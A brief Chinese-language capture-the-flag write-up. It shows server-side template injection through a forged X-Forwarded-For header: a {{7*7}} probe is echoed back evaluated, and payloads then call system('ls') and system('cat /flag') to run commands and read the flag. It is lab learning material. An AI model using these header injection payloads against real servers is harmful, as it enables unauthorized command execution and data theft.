提示IP
猜测用XFF，伪造XFF头看看情况
用X-Forwarded-For: {{7*7}}有回显
构造payload：

X-Forwarded-For: {{system("ls")}}
X-Forwarded-For: {{system("cat /flag")}}